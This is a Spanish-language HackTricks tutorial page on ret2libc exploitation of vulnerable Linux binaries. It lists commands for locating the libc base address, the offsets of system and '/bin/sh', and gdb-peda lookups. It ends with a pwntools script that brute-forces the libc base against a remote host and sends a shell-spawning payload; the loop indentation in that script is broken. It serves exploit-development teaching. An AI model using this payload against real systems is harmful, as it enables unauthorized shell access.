hacktricks/exploiting/linux-exploiting-basic-esp/ret2lib.md

4.1 KiB

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Si has encontrado un binario vulnerable y crees que puedes explotarlo usando Ret2Lib, aquí puedes encontrar algunos pasos básicos que puedes seguir.

Si estás dentro del host

Puedes encontrar la dirección de libc

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Si deseas verificar si ASLR está cambiando la dirección de libc, puedes hacer lo siguiente:

for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done

Obtener el desplazamiento de la función system

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

Obtener el desplazamiento de "/bin/sh"

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

/proc/<PID>/maps

Si el proceso está creando hijos cada vez que hablas con él (servidor de red) intenta leer ese archivo (probablemente necesitarás ser root).

Aquí puedes encontrar exactamente dónde se carga la libc dentro del proceso y dónde se cargará para cada hijo del proceso.

En este caso se carga en 0xb75dc000 (Esta será la dirección base de la libc)

Usando gdb-peda

Obtener la dirección de la función system, de la función exit y de la cadena "/bin/sh" usando gdb-peda:

p system
p exit
find "/bin/sh"

Saltando ASLR

Puedes intentar hacer fuerza bruta en la dirección base de libc.

for off in range(0xb7000000, 0xb8000000, 0x1000):

Código

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()    #Banner

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: